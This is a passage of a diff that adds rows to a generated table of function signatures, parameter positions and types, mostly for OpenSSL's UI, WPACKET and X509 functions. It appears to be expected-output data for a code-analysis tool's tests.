TXT_DB_create_index | 0 | TXT_DB * | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 1 | int | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 2 | ..(*)(..) | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 3 | OPENSSL_LH_HASHFUNC | +| (TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC) | | TXT_DB_create_index | 4 | OPENSSL_LH_COMPFUNC | +| (UI *) | | UI_get0_user_data | 0 | UI * | +| (UI *) | | UI_get_method | 0 | UI * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 0 | UI * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 1 | UI_STRING * | +| (UI *,UI_STRING *,const char *) | | UI_set_result | 2 | const char * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 0 | UI * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 1 | UI_STRING * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 2 | const char * | +| (UI *,UI_STRING *,const char *,int) | | UI_set_result_ex | 3 | int | +| (UI *,const UI_METHOD *) | | UI_set_method | 0 | UI * | +| (UI *,const UI_METHOD *) | | UI_set_method | 1 | const UI_METHOD * | +| (UI *,const char *) | | UI_add_error_string | 0 | UI * | +| (UI *,const char *) | | UI_add_error_string | 1 | const char * | +| (UI *,const char *) | | UI_add_info_string | 0 | UI * | +| (UI *,const char *) | | UI_add_info_string | 1 | const char * | +| (UI *,const char *) | | UI_dup_error_string | 0 | UI * | +| (UI *,const char *) | | UI_dup_error_string | 1 | const char * | +| (UI *,const char *) | | UI_dup_info_string | 0 | UI * | +| (UI *,const char *) | | UI_dup_info_string | 1 | const char * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 0 | UI * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 1 | const char * | +| (UI *,const char *,const char *) | | UI_construct_prompt | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 0 | UI * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 1 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 3 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 4 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 5 | int | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_add_input_boolean | 6 | char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 0 | UI * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 1 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 2 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 3 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 4 | const char * | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 5 | int | +| (UI *,const char *,const char *,const char *,const char *,int,char *) | | UI_dup_input_boolean | 6 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 2 | int | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 3 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 4 | int | +| (UI *,const char *,int,char *,int,int) | | UI_add_input_string | 5 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 2 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 3 | char * | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 4 | int | +| (UI *,const char *,int,char *,int,int) | | UI_dup_input_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 2 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 3 | char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 4 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_add_verify_string | 6 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 0 | UI * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 1 | const char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 2 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 3 | char * | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 4 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 5 | int | +| (UI *,const char *,int,char *,int,int,const char *) | | UI_dup_verify_string | 6 | const char * | +| (UI *,void *) | | UI_add_user_data | 0 | UI * | +| (UI *,void *) | | UI_add_user_data | 1 | void * | | (UINT) | CComBSTR | LoadString | 0 | UINT | | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | UINT | | (UINT,...) | CStringT | AppendFormat | 0 | UINT | @@ -710,6 +20721,784 @@ getSignatureParameterName | (UINT,...) | CStringT | Format | 1 | ... | | (UINT,...) | CStringT | FormatMessage | 0 | UINT | | (UINT,...) | CStringT | FormatMessage | 1 | ... | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_closer | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_closer | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_flusher | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_flusher | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_opener | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_opener | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_prompt_constructor | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_prompt_constructor | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_reader | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_reader | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_writer | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..)) | | UI_method_set_writer | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 0 | UI_METHOD * | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 1 | ..(*)(..) | +| (UI_METHOD *,..(*)(..),..(*)(..)) | | UI_method_set_data_duplicator | 2 | ..(*)(..) | +| (UI_STRING *) | | UI_get0_output_string | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get0_result_string | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_input_flags | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_result_string_length | 0 | UI_STRING * | +| (UI_STRING *) | | UI_get_string_type | 0 | UI_STRING * | +| (USERNOTICE *) | | USERNOTICE_free | 0 | USERNOTICE * | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 0 | USERNOTICE ** | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 1 | const unsigned char ** | +| (USERNOTICE **,const unsigned char **,long) | | d2i_USERNOTICE | 2 | long | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 0 | WHIRLPOOL_CTX * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 1 | const void * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_BitUpdate | 2 | size_t | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 0 | WHIRLPOOL_CTX * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 1 | const void * | +| (WHIRLPOOL_CTX *,const void *,size_t) | | WHIRLPOOL_Update | 2 | size_t | +| (WPACKET *) | | WPACKET_get_curr | 0 | WPACKET * | +| (WPACKET *) | | WPACKET_start_sub_packet | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *) | | WPACKET_init | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *) | | WPACKET_init | 1 | BUF_MEM * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 0 | WPACKET * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 1 | BUF_MEM * | +| (WPACKET *,BUF_MEM *,size_t) | | WPACKET_init_len | 2 | size_t | +| (WPACKET *,const BIGNUM *) | | ossl_encode_der_integer | 0 | WPACKET * | +| (WPACKET *,const BIGNUM *) | | ossl_encode_der_integer | 1 | const BIGNUM * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 0 | WPACKET * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 1 | const BIGNUM * | +| (WPACKET *,const BIGNUM *,const BIGNUM *) | | ossl_encode_der_dsa_sig | 2 | const BIGNUM * | +| (WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_encode_frame_conn_close | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_encode_frame_conn_close | 1 | const OSSL_QUIC_FRAME_CONN_CLOSE * | +| (WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_encode_frame_crypto | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_encode_frame_crypto | 1 | const OSSL_QUIC_FRAME_CRYPTO * | +| (WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_encode_frame_new_conn_id | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_encode_frame_new_conn_id | 1 | const OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (WPACKET *,const OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_encode_frame_stream | 0 | WPACKET * | +| (WPACKET *,const OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_encode_frame_stream | 1 | const OSSL_QUIC_FRAME_STREAM * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 0 | WPACKET * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 1 | const unsigned char * | +| (WPACKET *,const unsigned char *,size_t) | | ossl_quic_wire_encode_frame_new_token | 2 | size_t | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 0 | WPACKET * | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 1 | const void * | +| (WPACKET *,const void *,size_t) | | WPACKET_memcpy | 2 | size_t | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 0 | WPACKET * | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 1 | const void * | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 2 | size_t | +| (WPACKET *,const void *,size_t,size_t) | | WPACKET_sub_memcpy__ | 3 | size_t | +| (WPACKET *,int) | | ossl_DER_w_begin_sequence | 0 | WPACKET * | +| (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | int | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 0 | WPACKET * | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 1 | int | +| (WPACKET *,int,const BIGNUM *) | | ossl_DER_w_bn | 2 | const BIGNUM * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 0 | WPACKET * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 1 | int | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 2 | const unsigned char * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_octet_string | 3 | size_t | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 0 | WPACKET * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 1 | int | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 2 | const unsigned char * | +| (WPACKET *,int,const unsigned char *,size_t) | | ossl_DER_w_precompiled | 3 | size_t | +| (WPACKET *,int,size_t) | | WPACKET_memset | 0 | WPACKET * | +| (WPACKET *,int,size_t) | | WPACKET_memset | 1 | int | +| (WPACKET *,int,size_t) | | WPACKET_memset | 2 | size_t | +| (WPACKET *,size_t *) | | WPACKET_get_length | 0 | WPACKET * | +| (WPACKET *,size_t *) | | WPACKET_get_length | 1 | size_t * | +| (WPACKET *,size_t *) | | WPACKET_get_total_written | 0 | WPACKET * | +| (WPACKET *,size_t *) | | WPACKET_get_total_written | 1 | size_t * | +| (WPACKET *,size_t) | | WPACKET_init_null | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_init_null | 1 | size_t | +| (WPACKET *,size_t) | | WPACKET_set_max_size | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_set_max_size | 1 | size_t | +| (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 0 | WPACKET * | +| (WPACKET *,size_t) | | WPACKET_start_sub_packet_len__ | 1 | size_t | +| (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 0 | WPACKET * | +| (WPACKET *,size_t) | | ossl_quic_wire_encode_padding | 1 | size_t | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 0 | WPACKET * | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 1 | size_t | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 2 | const QUIC_PKT_HDR * | +| (WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *) | | ossl_quic_wire_encode_pkt_hdr | 3 | QUIC_PKT_HDR_PTRS * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_allocate_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_quic_sub_allocate_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 1 | size_t | +| (WPACKET *,size_t,unsigned char **) | | WPACKET_reserve_bytes | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 1 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_allocate_bytes__ | 3 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 0 | WPACKET * | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 1 | size_t | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 2 | unsigned char ** | +| (WPACKET *,size_t,unsigned char **,size_t) | | WPACKET_sub_reserve_bytes__ | 3 | size_t | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 0 | WPACKET * | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 1 | uint64_t | +| (WPACKET *,uint64_t,const QUIC_CONN_ID *) | | ossl_quic_wire_encode_transport_param_cid | 2 | const QUIC_CONN_ID * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 0 | WPACKET * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 1 | uint64_t | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 2 | const unsigned char * | +| (WPACKET *,uint64_t,const unsigned char *,size_t) | | ossl_quic_wire_encode_transport_param_bytes | 3 | size_t | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 0 | WPACKET * | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 1 | uint64_t | +| (WPACKET *,uint64_t,size_t) | | WPACKET_put_bytes__ | 2 | size_t | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t) | | WPACKET_init_der | 2 | size_t | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t) | | dtls_raw_hello_verify_request | 2 | size_t | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 0 | WPACKET * | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 1 | unsigned char * | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 2 | size_t | +| (WPACKET *,unsigned char *,size_t,size_t) | | WPACKET_init_static_len | 3 | size_t | +| (WPACKET *,unsigned int) | | WPACKET_set_flags | 0 | WPACKET * | +| (WPACKET *,unsigned int) | | WPACKET_set_flags | 1 | unsigned int | +| (X9_62_CHARACTERISTIC_TWO *) | | X9_62_CHARACTERISTIC_TWO_free | 0 | X9_62_CHARACTERISTIC_TWO * | +| (X9_62_PENTANOMIAL *) | | X9_62_PENTANOMIAL_free | 0 | X9_62_PENTANOMIAL * | +| (X509 *) | | OSSL_STORE_INFO_new_CERT | 0 | X509 * | +| (X509 *) | | PKCS12_SAFEBAG_create_cert | 0 | X509 * | +| (X509 *) | | X509_check_ca | 0 | X509 * | +| (X509 *) | | X509_free | 0 | X509 * | +| (X509 *) | | X509_get0_authority_issuer | 0 | X509 * | +| (X509 *) | | X509_get0_authority_key_id | 0 | X509 * | +| (X509 *) | | X509_get0_authority_serial | 0 | X509 * | +| (X509 *) | | X509_get0_distinguishing_id | 0 | X509 * | +| (X509 *) | | X509_get0_reject_objects | 0 | X509 * | +| (X509 *) | | X509_get0_subject_key_id | 0 | X509 * | +| (X509 *) | | X509_get0_trust_objects | 0 | X509 * | +| (X509 *) | | X509_get_extended_key_usage | 0 | X509 * | +| (X509 *) | | X509_get_extension_flags | 0 | X509 * | +| (X509 *) | | X509_get_key_usage | 0 | X509 * | +| (X509 *) | | X509_get_pathlen | 0 | X509 * | +| (X509 *) | | X509_get_proxy_pathlen | 0 | X509 * | +| (X509 *) | | X509_get_serialNumber | 0 | X509 * | +| (X509 *) | | X509_issuer_name_hash | 0 | X509 * | +| (X509 *) | | X509_issuer_name_hash_old | 0 | X509 * | +| (X509 *) | | X509_subject_name_hash | 0 | X509 * | +| (X509 *) | | X509_subject_name_hash_old | 0 | X509 * | +| (X509 *) | | ossl_policy_cache_set | 0 | X509 * | +| (X509 *) | | ossl_x509v3_cache_extensions | 0 | X509 * | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 0 | X509 ** | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 1 | X509_STORE_CTX * | +| (X509 **,X509_STORE_CTX *,X509 *) | | X509_STORE_CTX_get1_issuer | 2 | X509 * | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 0 | X509 ** | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 1 | const unsigned char ** | +| (X509 **,const unsigned char **,long) | | d2i_X509 | 2 | long | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 0 | X509 ** | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 1 | const unsigned char ** | +| (X509 **,const unsigned char **,long) | | d2i_X509_AUX | 2 | long | +| (X509 *,ASN1_OCTET_STRING *) | | X509_set0_distinguishing_id | 0 | X509 * | +| (X509 *,ASN1_OCTET_STRING *) | | X509_set0_distinguishing_id | 1 | ASN1_OCTET_STRING * | +| (X509 *,EVP_MD_CTX *) | | X509_sign_ctx | 0 | X509 * | +| (X509 *,EVP_MD_CTX *) | | X509_sign_ctx | 1 | EVP_MD_CTX * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_sign | 2 | const EVP_MD * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 0 | X509 * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,const EVP_MD *) | | X509_to_X509_REQ | 2 | const EVP_MD * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *) | | do_X509_verify | 2 | stack_st_OPENSSL_STRING * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int) | | PKCS7_sign | 4 | int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 4 | int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 5 | OSSL_LIB_CTX * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *) | | PKCS7_sign_ex | 6 | const char * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int) | | CMS_sign | 4 | unsigned int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 0 | X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 1 | EVP_PKEY * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 2 | stack_st_X509 * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 3 | BIO * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 4 | unsigned int | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 5 | OSSL_LIB_CTX * | +| (X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_sign_ex | 6 | const char * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 0 | X509 * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 1 | OSSL_LIB_CTX * | +| (X509 *,OSSL_LIB_CTX *,const char *) | | ossl_x509_set0_libctx | 2 | const char * | +| (X509 *,SSL_CONNECTION *) | | ssl_check_srvr_ecc_cert_and_alg | 0 | X509 * | +| (X509 *,SSL_CONNECTION *) | | ssl_check_srvr_ecc_cert_and_alg | 1 | SSL_CONNECTION * | +| (X509 *,X509 *) | | X509_check_issued | 0 | X509 * | +| (X509 *,X509 *) | | X509_check_issued | 1 | X509 * | +| (X509 *,X509 *) | | ossl_x509_likely_issued | 0 | X509 * | +| (X509 *,X509 *) | | ossl_x509_likely_issued | 1 | X509 * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 0 | X509 * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 1 | X509_EXTENSION * | +| (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | int | +| (X509 *,const X509_NAME *) | | X509_set_issuer_name | 0 | X509 * | +| (X509 *,const X509_NAME *) | | X509_set_issuer_name | 1 | const X509_NAME * | +| (X509 *,const X509_NAME *) | | X509_set_subject_name | 0 | X509 * | +| (X509 *,const X509_NAME *) | | X509_set_subject_name | 1 | const X509_NAME * | +| (X509 *,const char *) | | x509_ctrl_string | 0 | X509 * | +| (X509 *,const char *) | | x509_ctrl_string | 1 | const char * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 0 | X509 * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 1 | const char * | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 2 | size_t | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 3 | unsigned int | +| (X509 *,const char *,size_t,unsigned int,char **) | | X509_check_host | 4 | char ** | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 0 | X509 * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 1 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 2 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 3 | int * | +| (X509 *,int *,int *,int *,uint32_t *) | | X509_get_signature_info | 4 | uint32_t * | +| (X509 *,int) | | X509_delete_ext | 0 | X509 * | +| (X509 *,int) | | X509_delete_ext | 1 | int | +| (X509 *,int) | | X509_self_signed | 0 | X509 * | +| (X509 *,int) | | X509_self_signed | 1 | int | +| (X509 *,int,int) | | X509_check_purpose | 0 | X509 * | +| (X509 *,int,int) | | X509_check_purpose | 1 | int | +| (X509 *,int,int) | | X509_check_purpose | 2 | int | +| (X509 *,int,int) | | X509_check_trust | 0 | X509 * | +| (X509 *,int,int) | | X509_check_trust | 1 | int | +| (X509 *,int,int) | | X509_check_trust | 2 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 0 | X509 * | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 1 | int | +| (X509 *,int,void *,int,unsigned long) | | X509_add1_ext_i2d | 2 | void * | +| (X509 *,int,void *,int,unsigned long) | | 